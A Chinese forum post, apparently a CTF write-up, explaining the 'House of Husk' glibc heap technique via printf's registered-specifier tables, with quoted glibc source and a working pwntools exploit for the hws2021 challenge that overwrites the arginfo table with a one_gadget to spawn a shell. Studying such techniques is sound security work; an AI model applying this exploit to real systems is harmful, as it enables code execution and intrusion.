OYyunshen 发表于 2022-2-20 19:11

House of Husk

本帖最后由 OYyunshen 于 2022-2-20 19:16 编辑

# horse of husk

这个手法对我而言还挺难的,原理难,利用起来还行

**利用的前提是:uaf,unsortedbin attack,以及两个非常大的堆块,挺苛刻的利用前提**

### 简易原理

原理主要是利用了printf的调用链,首先当需要使用printf类格式化字符串函数时,函数会根据格式化字符不同来采取不同的输出方式,在glibc中有个为格式化字符输出注册函数,这个函数是__register_print_specifier函数的封装,此处可以看一下printf.h中相关源码

跟进一下这个register_print_specifier函数,如果格式化字符超过0xff,或者小于0,不是ascii码返回-1,如果printf_arginfo_table为空就通过calloc分配堆内存存放printf_arginfo_table以及printf_function_table。两个表空间都为0x100,可以为0-0xff的每个字符注册一个函数指针,两个表是相邻的

```c
/* Register FUNC to be called to format SPEC specifiers.*/
int
__register_printf_function (int spec, printf_function converter,
                printf_arginfo_function arginfo)
{
return __register_printf_specifier (spec, converter,
                      (printf_arginfo_size_function*) arginfo);
}
/* Register FUNC to be called to format SPEC specifiers.*/
int
__register_printf_specifier (int spec, printf_function converter,
               printf_arginfo_size_function arginfo)
{
if (spec < 0 || spec > (int) UCHAR_MAX) //UCHAR_MAX=0XFF
    {
      __set_errno (EINVAL);
      return -1;
    }

int result = 0;
__libc_lock_lock (lock);

if (__printf_function_table == NULL)
    {
      __printf_arginfo_table = (printf_arginfo_size_function **)
    calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
      if (__printf_arginfo_table == NULL)
    {
      result = -1;
      goto out;
    }

      __printf_function_table = (printf_function **)
    (__printf_arginfo_table + UCHAR_MAX + 1);
    }

__printf_function_table = converter;
__printf_arginfo_table = arginfo;

out:
__libc_lock_unlock (lock);

return result;
}
```

* 这里是calloc申请的内存块,和malloc有些不同,malloc申请时不会将内存清空,calloc会清空申请的内存空间(pwn比赛中,重要的知识点)
* 原型:void* calloc(unsigned int num,unsigned int size)
* 功能:在内存的动态存储区中分配num个长度为size的连续空间

这个printf源码链比较长,就先不分析了(菜鸡实在看不懂源码)

着重分析一下这个漏洞在pwn中的用法,核心就是利用:**在vfprintf函数中如果检测到我们注册的table不为空,则对于格式化字符不走默认的输出函数而是调用`printf_positional`函数,进而可以调用到表中的函数指针**,源码如下

```c
/* Use the slow path in case any printf handler is registered.*/
if (__glibc_unlikely (__printf_function_table != NULL
            || __printf_modifier_table != NULL
            || __printf_va_arg_table != NULL))
    goto do_positional;

/* Hand off processing for positional parameters.*/

do_positional:
if (__glibc_unlikely (workstart != NULL))
    {
      free (workstart);
      workstart = NULL;
    }
done = printf_positional (s, format, readonly_format, ap, &ap_save,
                done, nspecs_done, lead_str_end, work_buffer,
                save_errno, grouping, thousands_sep);
```

### 首先计算分配的两个大小

第一个用来伪造`__printf_function_table`,第二个用来伪造`__printf_arginfo_table`

第一个大小:(PRINT_FUNCTION-MAIN_ARENA)*2-0x10

第二个大小:(PRINTF_ARGINFO - MAIN_ARENA)*2-0X10

### 目的

如果更改第一个table,需要将(p_fun_table + ('X' - 2) * 8) = libc_base + ONE_GADGET

如果更改第二个table,需要将`__printf_arginfo_table['X']`处的函数指针改为**one_gadget**

这里的X,不是固定的是,指的是printf家族函数中格式化字符,如%d,%c,%s,%x,%p

### 题目:hws2021-送分题

这道题,真痛苦,不知道为什么师傅们都能写出来,我是个废物,程序比较简单

解决的思路是house of husk或者打IO_FILE结构体



可以看到,house of husk 是全部满足的,UAF,unsortedbin attack,还有那两个很大的堆块

后面有两次free掉大堆块,还要调用printf("%s")

### 攻击流程

第一步直接接受一下泄露出来的main_arena+88地址,然后计算出libc地址

第二步然后通过unsortedbin attack,改写GLOBAL_MAX_FAST(这个地方如名字所示,存放的是fastbin最大的大小),把这个大小更改为一个非常大的数

第三步根据修改的是`__printf_function_table`还是`__printf_arginfo_table`选择攻击方式,上面有提到

这里选择的是ARGTABLE攻击,第一个第二个都可以getshell

```python
from pwn import *
sh = process("./pwn")
# sh = remote("192.168.17.17",8888)
context.log_level='debug'
#define MAIN_ARENA       0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST0x3ed940
#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO   0x3ec870
#ARGTABLE_Size = (0x3ec870-0x3ebc40)*2 - 0x10 = 0x1850
#FUNCTABLE_Size = (0x3f0658-0x3ebc40)*2 - 0x10 = 0x9420
# use python to calculate

sh.sendlineafter("big box, what size?\n",str(0x1850))
sh.sendlineafter("bigger box, what size?\n",str(0x9420))   
sh.sendlineafter("rename?(y/n)\n",'y')

libc_base = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3ebca0
global_max_fast = libc_base + 0x3ed940
print('libc:',hex(libc_base))
print('global_max_fast',hex(global_max_fast))

sh.sendafter("new name!\n",b'/bin/sh\x00'+p64(global_max_fast-0x10))

sh.sendlineafter("(1:big/2:bigger)\n",'1')
#gdb.attach(sh)
one_gadget = 0x10a41c+libc_base
sh.send(b'a'*((ord('s')-2)*8)+p64(one_gadget))

# when call printf('%s') then getshell
sh.interactive()
```

非常简略的exp,但是攻击流程基本都走了下来

这么说吧,你可以看看house of husk作者的poc,基本就写得出来

贴一个我认为这个攻击流程讲的很清楚的博文地址,非常感谢这位师傅

https://juejin.cn/post/6844904117119385614#heading-1

纳兰容若 发表于 2022-2-21 17:09

多谢楼主分享{:17_1062:}

tl;dr 发表于 2022-2-23 04:49

OYyunshen 发表于 2022-2-23 10:40

tl;dr 发表于 2022-2-23 04:49
啥屋子啊?

是个堆漏洞house系列,有很多的比如House of Orange,House of Roman
页: [1]
查看完整版本: House of Husk